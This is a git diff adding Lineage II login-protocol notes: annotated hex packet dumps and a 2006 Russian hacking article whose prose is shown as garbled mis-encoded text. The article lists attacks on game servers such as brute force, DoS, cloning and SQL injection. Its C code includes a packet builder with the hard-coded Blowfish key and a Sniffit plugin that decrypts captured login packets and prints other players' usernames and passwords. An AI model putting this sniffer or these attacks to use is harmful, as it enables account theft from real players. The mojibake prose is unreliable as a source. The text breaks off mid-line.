00 00 00 00 00 00 00 00 00 00 00 00 // 16 NULLs... [133..148] +08 00 00 00 00 00 00 00 00 00 00 // some 11 bytes... O_o [149..159] +0B 1B 28 3A 00 00 00 00 // checksum + 4 0x00 bytes padding ? [160..167] +00 00 00 00 00 00 00 00 // more 8 bytes padding [168..175] +L2BasePacket::dumpToFile() end +176 bytes data len + 2 bytes for packet size = 178 bytes \ No newline at end of file diff --git a/docs/loginpackets/RequestGGAuth_HellboundClient.txt b/docs/loginpackets/RequestGGAuth_HellboundClient.txt new file mode 100644 index 0000000..356f780 --- /dev/null +++ b/docs/loginpackets/RequestGGAuth_HellboundClient.txt @@ -0,0 +1,12 @@ +2a 00 // length .... 0x2A = 42 bytes... data length must be 40 bytes +07 // packet ID - RequestGGAuth // 1 // byte count +e2 76 b8 e3 // wtf? SessionID? // 5 +00 00 00 00 // 9 +00 00 00 00 // 13 +00 00 00 00 // 17 +00 00 00 00 // 21 +00 00 00 // 3 bytes - padding? // 24 // padded to 8-byte border +e4 e2 76 b8 // checksum? // 28 +00 00 00 00 // 32 // pad must end here!... why more 16 bytes?.. +00 00 00 00 // 36 +00 00 00 00 // 40 \ No newline at end of file diff --git a/docs/loginpackets/RequestServerList_HellboundClient.txt b/docs/loginpackets/RequestServerList_HellboundClient.txt new file mode 100644 index 0000000..e23d2f7 --- /dev/null +++ b/docs/loginpackets/RequestServerList_HellboundClient.txt @@ -0,0 +1,14 @@ +22 00 // packet size - 34 bytes +05 // packet type - RequestServerList +e0 43 ef 46 8e dc 83 f2 // sessionKey #1 +04 00 00 00 00 00 00 // some 7 bytes +b1 6a 9f 6c 00 00 00 00 // checksum and 4 0x00 bytes of checksum padding +00 00 00 00 00 00 00 00 // 8 0x00 bytes padding + +// logining to official server.... +22 00 +05 +C7 41 0B 00 F8 71 7D 00 +04 00 00 00 00 00 00 +05 3B 30 76 00 00 00 00 +00 00 00 00 00 00 00 00 diff --git a/docs/loginpackets/RequestServerLogin_HellboundClient.txt b/docs/loginpackets/RequestServerLogin_HellboundClient.txt new file mode 100644 index 0000000..049d915 --- /dev/null +++ b/docs/loginpackets/RequestServerLogin_HellboundClient.txt @@ -0,0 +1,11 @@ +-- Packet size : 34 (22 00) +-- Packet type : 2 (02) + +22 00 // packet size: 34 bytes (0x0022) +02 // packet type: RequestServerLogin +C7 41 0B 00 4B 34 ED 26 // sessionKey1 +09 // game server ID +00 00 00 00 00 00 // 6 0x00 bytes padding to 8-byte border +24 85 75 E6 00 00 00 00 // checksum + 4 0x00 bytes padding +00 00 00 00 00 00 00 00 // 8 0x00 bytes padding + diff --git a/docs/loginpackets/ServerList_HellboundServer.txt b/docs/loginpackets/ServerList_HellboundServer.txt new file mode 100644 index 0000000..efde844 --- /dev/null +++ b/docs/loginpackets/ServerList_HellboundServer.txt @@ -0,0 +1,196 @@ +L2BasePacket::dumpToFile() begin +-- Packet size : 250 (FA 00) +-- Packet type : 4 (04) + +FA 00 // packet size - 250 bytes +04 // packet type (ServerList) +0B // game servers count - 11 +09 // lastServer ? :) + +// repeated block for each server +01 // game server ID +D8 6B F4 82 // game server IP +61 1E 00 00 // game server port +00 // age limit? +01 // is_pvp? +6E 09 // players online (2414) +70 17 // max players (6000) +01 // is_up? 01 - up, 00 - down +00 00 00 00 00 + +// so, each server info is 1+4+4+1+1+2+2+1+5 = 21 bytes long + +// server #2.... +02 +D8 6B F4 85 +61 1E 00 00 +00 +01 +3F 02 +70 17 +01 +00 00 00 00 00 + +// server #3... +03 +D8 6B F4 88 +61 1E 00 00 +00 +01 +53 04 +70 17 +01 +00 00 00 00 00 + +// server #4... +04 +D8 6B F4 8B +61 1E 00 00 +00 +01 +56 03 +70 17 +01 +00 00 00 00 00 + +// server #5... +05 +D8 6B F4 8E +61 1E 00 00 +00 +01 +2D 03 +70 17 +01 +00 00 00 00 00 + +// server #6... +06 +CE 7F 9B 82 +61 1E 00 00 +00 +01 +73 03 +70 17 +01 +00 00 00 00 00 + +// server #7 +07 +CE 7F 9B 83 +61 1E 00 00 +00 +01 +19 05 +70 17 +01 +00 00 00 00 00 + +// server #8 +08 +CE 7F 9B 84 +61 1E 00 00 +00 +01 +96 05 +70 17 +01 +00 00 00 00 00 + +// server #9 (Teon?) +09 +CE 7F 91 A2 +61 1E 00 00 +00 +01 +77 12 // cur online: 4727 :) +70 17 // max online: 6000 +01 +00 00 00 00 00 + +// server #10 (Franz) +0A +CE 7F 91 A3 +61 1E 00 00 +00 +01 +22 0D // 3362 online +70 17 // 6000 max online +01 +00 00 00 00 00 + +// server #11 (Luna) +0B +CE 7F 91 A5 +61 1E 00 00 +00 +01 +75 0E +70 17 +01 +00 00 00 00 00 + +00 00 00 00 00 DA A9 B4 02 85 1A E1 26 E0 // where here is checksum...? + +L2BasePacket::dumpToFile() end + +======================================= +====== ServerList L2J ================= +======================================= + +3A 00 +04 +02 +01 + +01 +C1 54 1F 05 +61 1E 00 00 +00 +01 +02 00 +C8 00 +01 +00 00 00 00 00 + +02 +7F 00 00 01 +00 00 00 00 +00 +01 +00 00 +00 00 +00 +00 00 00 00 00 + +F7 07 49 // possibly padding +1C FD 67 F0 // wtf is here? padding O_o +73 3C 7C BD // here's checksum + +============================================== +L2J 1 server at 127.0.0.1:0000, now offline (online: 0/0) +22 00 +04 01 01 +01 +7F 00 00 01 +00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 55 E0 40 EB 2E E0 41 EB +========================================================================== +L2J 1 server at 127.0.0.1:7777, now online (online: 0/10) +22 00 +04 01 01 +01 +7F 00 00 01 +61 1E 00 00 +00 01 00 00 0A 00 01 +00 00 00 00 00 +A5 4A AA CE +B5 54 AA CE + +22 00 +04 01 01 +01 +7F 00 00 01 +61 1E 00 00 +00 01 00 00 0A 00 01 +00 00 00 00 00 +6A 46 BB C7 7A 58 BB C7 \ No newline at end of file diff --git a/docs/loginpackets/bugogo.txt b/docs/loginpackets/bugogo.txt new file mode 100644 index 0000000..bf4f713 --- /dev/null +++ b/docs/loginpackets/bugogo.txt @@ -0,0 +1,37 @@ +Login Server ready on 127.0.0.1:2106 +packet dump :o +1e 00 fa 57 88 8a 32 85 6b 5f d7 ed 27 f5 7d 1f a5 eb d7 ed 27 f5 7d 1f a5 eb 00 00 packet dump end :o +Wrong checksum from client: [127.0.0.1] + +packet dump :o (RequestGGAuth) +2a 00 // packet size - 42 bytes +07 1 / 1 +f2 d0 fd 1c 4 / 5 // must be sessionID +00 00 00 00 4 / 9 // \ +00 00 00 00 4 / 13 // | 16 bytes +00 00 00 00 4 / 17 // | of some shit :\ +00 00 00 00 4 / 21 // / +00 00 00 3 / 24 // 3 bytes, padded data to 8-byte border maybe? +1b f2 d0 fd 4 / 28 // 4 bytes checksum? +00 00 00 00 4 / 32 // here also pdded at 8byte-border, wtf is next? +00 00 00 00 4 / 36 // %( +00 00 2 / 38 // %( +packet dump end :o + +packet dump :o (RequestAuthLogin) +b2 00 00 19 89 27 f1 8f cc b9 8c 6f 2a 59 22 4a 11 cb a7 b3 ed fd fd 53 a8 1b f5 67 0c 2f 61 30 b5 03 76 df 48 b6 24 64 +34 45 a4 13 a4 83 72 53 cb 35 a8 4c 51 74 db c3 42 f6 90 b4 5d cb 59 ea ed e5 a4 9e 11 84 4f 07 ce 05 b0 91 23 c8 d3 8e +85 00 2a da d8 e3 d5 eb 76 42 0d 5b 93 88 8b 22 30 71 b8 3b 70 f1 d0 d1 19 62 71 06 90 7e e8 2f 1c 60 d6 11 94 65 7a 1e +d4 00 60 3e 96 fe 35 7b 74 0d 13 f2 d0 fd 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 +00 00 59 93 d1 d8 00 00 00 00 00 00 00 00 00 00 packet dump end :o + +RequestGGAuth +LoginCrypt::decrypt( offset 2, size 40 ) +packet dump: offset = 2; size = 40 +2a 00 +07 +2e 55 ae df +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 +d8 2e 55 ae +00 00 00 00 00 00 00 00 00 00 00 00 \ No newline at end of file diff --git a/docs/m00-la2shit.txt b/docs/m00-la2shit.txt new file mode 100644 index 0000000..2f3d769 --- /dev/null +++ b/docs/m00-la2shit.txt @@ -0,0 +1,1592 @@ +// LineAge II: breaking the laws +// publishing date: 17.07.06 +// darkgrey / d4rk@securitylab.ru +// m00.blackhat.ru + +I. Ââåäåíèå + +II. Login-ñåðâåð + + 1. Øèôðîâàíèå ïàêåòîâ + 2. Ñòðóêòóðà ïàêåòîâ + 3. Êîíñòðóêòîð RequestAuthLogin-ïàêåòîâ íà Ñè + +III. Game-ñåðâåð. + + 1. Ïðîöåññ àâòîðèçàöèè íà ñåðâåðå + 2. Øèôðîâàíèå ïàêåòîâ + 3. Ïðîòîêîë + 4. xID è ObjectID + 5. Ïðèìåðû ïàêåòîâ: + a) ñêóïêà/ïðîäàæà + b) ëè÷êà + c) OID è IID + d) ãîâîðèì ñ NPC íà ïðèìåðå ðàçó÷èâàíèÿ ñêèëëîâ + +IV. Ïðîáëåìû è êàê ìîæíî èõ èñïîëüçîâàòü + + 1. îòñóòñòâèå ëèìèòà íà êîë-âî ïîïûòîê àâòîðèçàöèè + 2. øèôðîâàíèå ïàêåòîâ + 3. Óäàë¸ííîå îïðåäåëåíèå âåðñèè lineage2 ñåðâåðà + 4. Óäàë¸ííîå "ïîäâåøèâàíèå" login-ñåðâåðà + 5. Êëîíèðîâàíèå + 6. Ñîçäàíèå "ìóòàíòîâ" è ñìåøåíèå ñêèëëîâ + 7. Áåññìåðòèå + 8. 'remote DoS' è ÷òî ýòî äà¸ò + 9. integer overflow â ñåòåâîì äâèæêå l2j + 10. SQL-injection + 11. Çàòî÷êà (èëè ñêàçêà î 100%-îì enchant'å) + 12. Ãåîäàòà (õîæäåíèå ñêâîçü ñòåíû) + 13. Ïðèêîë ñ SocialAction (0x1b) + 14. Áàã â Ride (0x6a) + 15. Âûêèäûâàåì èç èãðû ÷àðîâ + 16. Áàã ñ RequestRestartPoint (îæèâëåíèå è ïîáåã èç òþðüìû) + 17. Ðàçäåòü ÷óæîãî ïåðñîíàæà íå çíàÿ íè ëîãèíà, íè ïàðîëÿ - ðàçâå ýòî ðåàëüíî? + 18. Èòîã + +V. Áàãè íîâîãî ïîêîëåíèÿ + +VI. Ïàðà ñëîâ î Ñ4 + +VII. Ïîñëåñëîâèå + +VIII. Ññûëêè + +IX. Ïðèëîæåíèÿ ê ñòàòüå + + + +I. Ââåäåíèå. + +×òî æå òàêîå lineage? Ýòî ïðåäñòàâèòåëü íîâîìîäíîãî æàíðà (êëàññà?) èãðóøåê - MMORPG +(Massively Multiplayer Online Role-Playing Game). ß áû äàæå ñêàçàë îäèí èç ñàìûõ +óäà÷íûõ è ïîïóëÿðíûõ, åñëè íå ñàìûé =). Êîíå÷íî, òðóäíî ãîâîðèòü î ïîïóëÿðíîñòè ýòîé +èãðû, ò.ê. ïîñ÷èòàòü òî÷íîå êîëè÷åñòâî "âòÿíóâøèõñÿ" â lineage, íàâåðíîå, íåâîçìîæíî, +íî òàêèå ñåðâåðû êàê www.lineageii.ru (ñ ìàêñèìàëüíî çàðåãèñòðèðîâàííûì îíëàéíîì â +10 000 ÷åëîâåê) è îôôèöèàëüíûé www.lineage2.com (ñî âñåìè 100 000, ïðè òîì, ÷òî îí ïëàòíûé) +äàþò ïîíÿòü, ÷òî öèôðà äîëæíà áûòü âíóøèòåëüíîé. +Ñóòü èãðû çàêëþ÷àåòñÿ â òîì, ÷òî (êàê è â ëþáîé äðóãîé RPG) ó âàñ åñòü ñâîé ïåðñîíàæ è +îãðîìíûé ìèð, â êîòîðîì íóæíî äîáûâàòü äåíüãè, îäåæäó, îðóæèå, îïûò. Äëÿ òîãî, ÷òîáû â êîíå÷íîì +èòîãå äðàòüñÿ ñ òàêèìè æå êàê òû èãðîêàìè è òåøèòü ñâî¸ ñàìîëþáèå ïîáåäàìè. Íåêîòîðûì ëþäÿì, +ó êîòîðûõ íó íèêàê íå ëàäèòñÿ ðåàëüíàÿ æèçíü, îíà ïîçâîëÿåò ñàìîðåàëèçîâàòüñÿ â âèðòóàëüíîì ìèðå - +ñòàòü èçâåñòíûì âîèíîì è äàæå íàéòè íåâåñòó (äà, äåâóøåê â lineage èãðàåò òîæå íåìàëî). +Ñðåäè âñåõ îñòàëüíûõ online (äà è íå òîëüêî online) èãð, lineage ïîäêóïàåò ñâîåé +ãðàôèêîé. Ìíå ëè÷íî ïîíà÷àëó êàçàëîñü íåâåðîÿòíûì, ÷òî êòî-òî ñìîã ñîçäàòü òàêèå +÷óäåñíûå òð¸õìåðíûå êðàñîòû äëÿ ïðîñòîé èãðû. +Íî åñòü ó èãðû è ò¸ìíûå ñòîðîíû. Âî-ïåðâûõ, îíà èìååò ñâîéñòâî çàòÿãèâàòü. Ïðè÷¸ì íå +ïðîñòî çàòÿãèâàòü, à âûçûâàòü çàâèñèìîñòü, ñ êîòîðîé êðàéíå ñëîæíî áîðîòüñÿ. Âî-âòîðûõ, +ñàìè ïîíèìàåòå, â èíäóñòðèè, â êîòîðîé êðóòÿòñÿ ñîòíè òûñÿ÷ èãðîìàíîâ èç ïðàêòè÷åñêè +âñåõ ñëî¸â îáùåñòâà, äåëî áåç äåíåã íå îáîéä¸òñÿ (êàê è âñ¸ â íàøåé æèçíè). Âåäü ó +íåêîòîðûõ ëþäåé, èìåþùèõ ñåìüþ, ðàáîòó, ïðîñòî íåò âðåìåíè íà òî, ÷òîáû ìåñÿöàìè +ïðîêà÷èâàòü ñâîåãî ïåðñîíàæà äî íóæíîãî óðîâíÿ. Òàêàÿ ãåéìåðñêàÿ ïðîñëîéêà ïîðîäèëà +íà ñâåò ëè÷íîñòåé, êîòîðûå íà÷àëè ïðîäàâàòü èãðîâûå óðîâíè è âåùè çà ðåàëüíûå äåíüãè, +ñîçäàâ òåì ñàìûì íîâóþ íèøó â ìèðå lineage. Íà äàííûé ìîìåíò, â çàâèñèìîñòè îò âåëè÷èíû +ñåðâåðà (è ðåéòîâ), ñòîèìîñòü õîðîøî îäåòîãî ïåðñîíàæà âûñîêîãî óðîâíÿ ìîæåò âàðüèðîâàòüñÿ +îò 300$ (íà óìèðàþùåì www.antaras.ru) äî 5 000$ íà îôèöèàëüíîì ñåðâåðå. Ñàìîå ñìåøíîå- +ýòî ïîêóïêà âåùåé ó àäìèíèñòðàöèè òîãî èëè èíîãî ñåðâåðà. Âäóìàéòåñü, ãåéìåð ïëàòèò +N-íîå êîëè÷åñòâî óáèòûõ åíîòîâ çà òî, ÷òîáû àäìèí äîáàâèë 1 çàïèñü â áàçó äàííûõ èãðû. +Âîò êàê äåëàþò äåíüãè èç âîçäóõà. +×òî æå, ÿ ÷òî-òî óâë¸êñÿ îïèñàíèåì èãðû ) Ñêàçûâàåòñÿ ãîä ,íà íå¸ ïîòðà÷åííûé. +Áåçóñëîâíî, â ïîäîáíîé èíäóñòðèè (ãäå çàêðó÷åíû äåíüãè è òó÷è íàèâíûõ è, ïîðîé ãëóïûõ +ãåéìåðîâ) äåëî áåç íàñ - ïûòëèâûõ óìîâ - îáîéòèñü íå ìîæåò. Êòî-òî ïîêóïàåò ïåðñîíàæåé, +êòî-òî ñîçäà¸ò è ïðîêà÷èâàåò ñàì, ìû æå âûáèðàåì òðåòèé, íåïðîòîð¸ííûé ïóòü. +Äåëî â òîì, ÷òî çà íåñêîëüêî ëåò ñóùåñòâîâàíèÿ ýòîé èãðû, â íåé íå áûëî íàéäåíî íå îäíîé +óÿçâèìîñòè (çà èñêëþ÷åíèåì ñóãóáî èãðîâûõ áàãîâ), äëÿ íå¸ íå áûëî íàïèñàíî íå îäíîé ïðîãðàììû, +êîòîðàÿ ìîãëà áû îòêðûòü çëîóìûøëåííèêàì äîñòóï â ÷óæèå àêêàóíòû. À çíàåòå ïî÷åìó? +Ìíå êàæåòñÿ, ìîëîäûõ, íåîïûòíûõ áàãîèñêàòåëåé (ïîñòàìè êîòîðûõ ïåñòðèò bugtraq) îòòàëêèâàëî çëîå +øèôðîâàíèå ïàêåòîâ â lineage. Ïðè÷¸ì, äàæå â ðàñøèôðîâàííîì âèäå, îíè ïðåäñòàâëÿþò ñîáîé +áåñïîðÿäî÷íûé íàáîð ñèìâîëîâ. +Ìîæåò áûòü, ñòàðè÷êè ïîìíÿò ìîþ ñòàòüþ ïðî ïðîòîêîë êëèåíò-ñåðâåðíîãî âçàèìîäåéñòâèÿ è +óÿçâèìîñòè Half-Life (www.securitylab.ru/analytics/216301.php). Öåëüþ òîé ñòàòüè áûëî +îïèñàòü èãðó è ïðåäîñòàâèòü íà áëþäå÷êå ïî÷òè âñ¸, ÷åãî ÿ äîñòèã â å¸ èçó÷åíèè.  ýòîé æå ñòàòüå +ÿ ïîâåäàþ êàê æå ðàñøèôðîâûâàòü òðàôôèê lineage2, ðàññêàæó íåìíîãî îá îñîáåííîñòÿõ +ïðîòîêîëà, íó è ïðåäîñòàâëþ íåñêîëüêî íàðàáîòîê (êàê ñâîèõ òàê è ÷óæèõ), âñå îñòàëüíîå +ïóáëèêîâàòü íå áóäó, òàê êàê ïîâàëüíîå èñïîëüçîâàíèå îíîãî ìîæåò ïðèâåñòè ê õàîñó â ýòîì +ïðåêðàñíîì, ñáàëàíñèðîâàííîì è âïîëíå ñôîðìèðîâàâøåìñÿ âèðòóàëüíîì ìèðå =) + +ÂÍÈÌÀÍÈÅ. +1. ñðàçó ïðåäóïðåæäàþ, ÿ èíîãäà áóäó âîçâðàùàòüñÿ ê ñòàòüå ïðî half-life, èáî àíàëîãèè ïîìîãóò +âàì ëåã÷å ïîíÿòü íàïèñàííîå. Äà è ìíå ïèñàòü ïðîùå. +2. ñòàòüÿ ïèñàëàñü íà îñíîâå àíàëèçà ðàñøèôðîâàííûõ ïàêåòîâ è èçó÷åíèÿ èñõîäíîãî +êîäà "ñàìîïàëüíîãî" lineage2 ñåðâåðà l2j, íàïèñàííîãî íà ÿâå. Ñîîòâåòñòâåííî, ñòàòüÿ 100% +äåéñòâèòåëüíà äëÿ l2j, à äëÿ îôèöèàëüíîãî íàñòîëüêî, íàñêîëüêî l2j äåéñòâèòåëåí äëÿ íåãî =) +3. âñå èñõîäíèêè íàïèñàíû ïîä linux. Äëÿ êîìïèëÿöèè íóæíà ëèáëà blowfish. Ëèáëû èç openssl +package ïîäîéäóò ïðè ìàëåíüêîé ìîäèôèêàöèè êîäà. +4. êñòàòè î ìîäèôèêàöèè êîäà.  èñõîäíèêàõ, ïðåäîñòàâëåííûõ â ñòàòüå, åñòü íåáîëüøèå îøèáêè +â ëîãèêå, äàáû èñêëþ÷èòü èõ áåçäóìíîå èñïîëüçîâàíèå. Åñëè âû âíèêíåòå â ñòàòüþ, òî è ïîôèêñèòü +èõ íå áóäåò ïðîáëåìîé. +5. è ïîñëåäíåå. Ïîëíàÿ âåðñèÿ ñòàòüè áûëà äîñòóïíà äîëãîå âðåìÿ (ïîë ãîäà) òîëüêî îãðàíè÷åííîìó +÷èñëó ëþäåé è ñ âûõîäîì ñ4 âåðñèè lineage2 è ôèêñàìè áîëüøèíñòâà áàãîâ ðåçêî óñòàðåëà. +Ïðî Ñ4 ÿ ðàññêàæó íåìíîãî â êîíöå. + + +II. Login-ñåðâåð. + +Ââåäåíèå. +Íà÷í¸ì ñ òîãî, ÷òî ðàçðàáîò÷èêè lineage2 îòäåëèëè ëîãèí ñåðâåð îò èãðîâîãî, äàáû áîëåå ìåíåå +ðàçãðóçèòü è áåç òîãî çàáèòûé êàíàë èãðîâîãî ñåðâåðà. Êðîìå òîãî, ëîãèí ñåðâåð èìååò ñâîéñòâî +ïîâèñàòü (ïðè÷¸ì, ýòî íà÷àëîñü ñ ñ3 âåðñèè lineage è ïðîäîëæàåòñÿ ïî ñåé äåíü) è íå ïóñêàòü +ïîëüçîâàòåëåé íà ñåðâåð. Çàòî òå, êòî óæå èãðàþò, íå èñïûòûâàþò ñîâåðøåííî íèêàêîãî äèñêîìôîðòà =) +À âñëåäñòâèå îòñóòñâèÿ âñ¸ òåõ æå áàãîèñêàòåëåé, êîòîðûå ìîãëè áû íàéòè è âíÿòíî îáúÿñíèòü äåâåëîïåðàì, +ãäå æå âñ¸-òàêè çàêðàëñÿ áàã, îí îñòà¸òñÿ äî ñèõ ïîð íåïîôèêñàííûì. Òàê âîò, íå ñìîòðÿ íà âñþ ïðåëåñòü +èäåè ñ ðàçãðóçêîé èãðîâîãî êàíàëà, íàøè îòå÷åñòâåííûå àäìèíû óïîðíî ëåïÿò ëîãèí ñåðâåð íà îäíó ìàøèíó +âìåñòå ñ èãðîâûì. + +1. Øèôðîâàíèå ïàêåòîâ. +Äëÿ øèôðîâàíèÿ ïàêåòîâ, êîòîðûìè login-ñåðâåð îáìåíèâàåòñÿ ñ êëèåíòîì, lineage èñïîëüçóåò blowfish. +Äà, òîò ñàìûé àëãîðèòì, êîòîðûé áûë ðàçðàáîòàí Áðþñîì Øíåéåðîì â 1993 ãîäó. Ïðî blowfish âàæíî çíàòü, +÷òî ýòî ñèììåòðè÷íûé áëî÷íûé øèôð. Ñèììåòðè÷íûé - îçíà÷àåò, ÷òî àëãîðèòì èñïîëüçóåò 1 ñåêðåòíûé +êëþ÷, êîòîðûì è øèôðóþòñÿ/äåøèôðóþòñÿ äàííûå. À åñëè ãîâîðèòü êîíêðåòíî î blowfish, òî íà îñíîâå +ýòîãî êëþ÷à ãåíåðèðóþòñÿ 18 32-áèòíûõ ïîäêëþ÷åé è 4 ìàòðèöû ðàçìåðîì 256 32-áèòîâûõ ñëîâ êàæäàÿ. +Êîòîðûìè, â ñâîþ î÷åðåäü, øèôðóþòñÿ/äåøèôðóþòñÿ äàííûå. +Áëî÷íûé øèôð - îçíà÷àåò, ÷òî blowfish îáðàáàòûâàåò äàííûå áëîêàìè (ïî 8 áàéò). À åù¸ ýòî îçíà÷àåò, +÷òî åñëè öåëîñòíîñòü øèôðîòåêñòà áûëà íàðóøåíà, òî ÷àñòü ìû ïî-ëþáîìó ñìîæåì âîññòàíîâèòü. +Ïðèìåíèòåëüíî ê lineage, íóæíî ñêàçàòü, ÷òî êëþ÷, íà îñíîâå êîòîðîãî ãåíåðèðóþòñÿ ïîäêëþ÷è, +ÿâëÿåòñÿ êîíñòàíòîé è ÷¸òêî ïðîïèñàí â èñõîäíèêàõ l2j (âîò íà ÷¸ì ñûïàëèñü 99% èññëåäîâàòåëåé +lineage, êîòîðûå ïðåäïîëàãàëè, ÷òî êëþ÷ äîëæåí ïåðåäàâàòüñÿ â îäíîì èç ïàêåòîâ - ñì. ññûëêè â +êîíöå). Åù¸ âàæíî îòìåòèòü òî, ÷òî ïåðâûå 2 áàéòà äàííûõ ïàêåòà _íå_øèôðóþòñÿ_. +×òîæ, ñ øèôðîâàíèåì, ÿ äóìàþ, ìû ðàçîáðàëèñü. Èä¸ì äàëüøå. + +2. Ñòðóêòóðà ïàêåòîâ. +Ïåðâûå äâà áàéòà ïàêåòà (òå, êîòîðûå íå øèôðóþòñÿ) ñîäåðæàò äëèíó äàííûõ ïàêåòà (êàê è â halflife). +Ñëåäóþùèé áàéò íåñ¸ò â ñåáå èíôîðìàöèþ î òèïå ïàêåòà. Ëîãèí-ñåðâåð îáðàáàòûâàåò ïàêåòû: +0x00 - RequestAuthLogin (çàïðîñ íà àâòîðèçàöèþ - ñîäåðæèò ëîãèí è ïàðîëü) +0x02 - RequestServerLogin (çàïðîñ íà çàõîä íà ñåðâåð) +0x05 - RequestServerList (çàïðîñ íà ñïèñîê ñåðâåðîâ) +Íà îñòàëüíûå îí ïîïðîñòó íå îòâå÷àåò, îñòàâëÿÿ ëèøü çàïèñü â ëîãàõ. Êëèåíòîì æå îáðàáàòûâàþòñÿ +ïàêåòû ñëåäóþùèõ òèïîâ: +0x01 - àâòîðèçàöèÿ íå ïðîøëà +0x03 - âû óñïåøíî àâòîðèçîâàíû +0x04 - îòâåò íà RequestServerLogin +0x06 - îòâåò íà RequestServerList +À òàêæå íåñêîëüêî äîïîëíèòåëüíûå ïàêåòîâ î áàíå àêêàóíòà, ïðîâåðêè âåðñèè è òä - îíè ïðåäñòàâëåíû íèæå. +Ñëåäóþùèé áàéò ÿâëÿåòñÿ äîïîëíèòåëüíûì ê âûøåîïèñàííûì çàïðîñàì. Íàïðèìåð, åñëè ñåðâåð îòâåòèë +íàì íà çàïðîñ àâòîðèçàöèè ïàêåòîì òèïà 0x01, òî ñëåäóþùèé áàéò áóäåò ñîäåðæàòü ïðè÷èíó, ïî +êîòîðîé àâòîðèçàöèÿ íå ïðîøëà (äëÿ íàñ âàæíû: 0x03 - íåâåðíûé ëîãèí èëè ïàðîëü, 0x07 - êòî-òî óæå +þçàåò àêêàóíò, 0x11 - óñòàíîâëåí âðåìåííûé ïàðîëü). Íî íà ñàìîì äåëå ýòîò áàéò óæå íå ñîâñåì ñëóæåáíûé. +Íàïðèìåð, â RequestAuthLogin ïàêåòàõ ñ ýòîãî áàéòà íà÷èíàåòñÿ ëîãèí. +Äàëåå èä¸ò Í-íîå ÷èñëî áàéò, êîòîðûå óæå íå ÿâëÿþòñÿ óïðàâëÿþùèìè, à íåñóò èíôîðìàöèþ, îïðåäåëÿåìóþ +òèïîì ïàêåòà. Íó, íàïðèìåð, äëÿ "RequestAuthLogin" ýòî ïîëå ñîäåðæèò ëîãèí è ïàðîëü. +Âàæíîå ïðåäíàçíà÷åíèå èìåþò ïîñëåäíèå 8 áàéò ïàêåòà. Îíè ñîäåðæàò ÷åêñóìó âñåãî òîãî, ÷òî èä¸ò äî +íèõ, çà èñêëþ÷åíèåì îïÿòü æå ïåðâûõ äâóõ áàéò ïàêåòà. Êàêèì æå îáðàçîì âû÷èñëÿåòñÿ ýòà ñàìàÿ ÷åêñóììà? +Èç äàííûõ ïîî÷åð¸äíî îòäåëÿþòñÿ 32-áèòíûå ñëîâà. Ïåðâîå XOR'èòñÿ ñî âòîðûì. Ðåçóëüòàò ýòîé îïåðàöèè +XOR'èòñÿ ñî ñëåäóþùèì ñëîâîì è òàê äàëåå. Ïðèìåð âû÷èñëåíèÿ ÷åêñóììû áóäåò ïðîäåìîíñòðèðîâàí íèæå. + +3. Êîíñòðóêòîð ïàêåòîâ íà Ñè +×òîæ, ñî ñòðóêòóðîé ïàêåòîâ ìû ðàçîáðàëèñü, òåïåðü ìîæíî ðåàëèçîâàòü ïðîãðàììíî âñ¸, ÷òî áûëî +îïèñàííî âûøå. + +/* + + la2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor + + Helps to understand lineage2 authentification. + + darkgrey / m00.blackhat.ru + + ~broken +*/ + +#include "/usr/local/include/blowfish.h" + +// äëèíà êëþ÷à +#define KEY_LEN 20 +// äëèíà RequestAuthLogin ïàêåòà ïîñòîÿííà è ðàâíà AUTH_PKT_LEN + 2 +#define AUTH_PKT_LEN 0x30 + +// êëþ÷, íà îñíîâå êîòîðîãî ãåíåðèðóþòñÿ sub-keys (ïîäêëþ÷è) +char key[] = "[;'.]94-31==-&%@!^+]"; + +// ñòðóêòóðà bfkey, êîòîðàÿ ïîñëå ãåíåðàöèè ïîäêëþ÷åé áóäåò ñîäåðæàòü +// 18 P ïîäêëþ÷åé è 4 S ìàòðèöû +BF_KEY bfkey; + +// ôóíêöèÿ, êîòîðàÿ âû÷èñëÿåò ÷åêñóììó è âñòàâëÿåò å¸ â ïàêåò +int add_ckecksum(char *raw, int count) { + long chksum = 0L; + int i = 0; + long ecx; + for(i = 0; i < count; i += 4) { + ecx = raw[i]; + ecx |= raw[i + 1]; + ecx |= raw[i + 2]; + ecx |= raw[i + 3]; + chksum ^= ecx; + } + + printf("checksum: 0x%x\n",chksum); + memcpy(raw+count, (char *)&chksum, 4); +} + +// äîáàâëÿåò ëîãèí è ïàðîëü â ïàêåò (îòäåëåíî îò îñíîâíîé ôóíêöèè +// èç ñîîáðàæåíèé ÷èòàáåëüíîñòè) +int add_lp(char *raw, char *l, char *p) { + l[15] = '\0'; + p[17] = '\0'; + + memcpy(raw+3,l,strlen(l)); + memcpy(raw+17,p,strlen(p)); +} + +// âûâîäèò íà ýêðàí ïàêåò â ÷èòàáåëüíîì âèäå (äëÿ îòëàäêè) +int print_packet(char *raw, int len) { + int i, c = 0; + + for(i=0;i<54;i++) printf("_"); + + for(i=0;i la2_plugin.plug <==== +/* + + Sniffit 0.3.7.beta LineAge2 c3 plugin + Allows to catch and decode la2 RequestAuthLogin packets *on the fly* + and dump login/passwords. + + by darkgrey / m00.blackhat.ru + + ~broken +*/ + +#include "/usr/local/include/blowfish.h" +#define KEY_LEN 20 + +BF_KEY bfkey; + +char key[] = "[;'.]94-31==-&%@!^+]"; + +void init_la2_plugin() { + + printf("LineAge2 C3 plugin enabled\n\n"); + BF_set_key(&bfkey, KEY_LEN, key); + +} + +void PL_la2_plugin (struct Plugin_data *PLD) { + int i = 0; + int count = (PLD->PL_info.DATA_len - 2) / 8; + char *ptr = PLD->PL_data; + unsigned char *ls_ip; + + if(PLD->PL_info.DATA_len == 0x32 && PLD->PL_info.UDP_len == 0) { + ls_ip=(unsigned char *)&(PLD->PL_iphead.destination); + printf("Login Server ip: %u.%u.%u.%u\n",ls_ip[0],ls_ip[1],ls_ip[2],ls_ip[3]); + + for(i = 0; i < count; i++) + BF_encrypt((BF_LONG *)((short*)ptr+1+i*4), &bfkey, BF_DECRYPT); + + i = 2; printf("Login: "); + while(PLD->PL_data[i++] != '\x00' || i != 16) + printf("%c",PLD->PL_data[i]); + + printf("\nPassword: "); + while(PLD->PL_data[i++] != '\x00' || PLD->PL_data[i] != '\x08') + printf("%c",PLD->PL_data[i]); + + printf("\n"); + } +} +/* eof */ + +====> sn_plugins.h <==== +#define 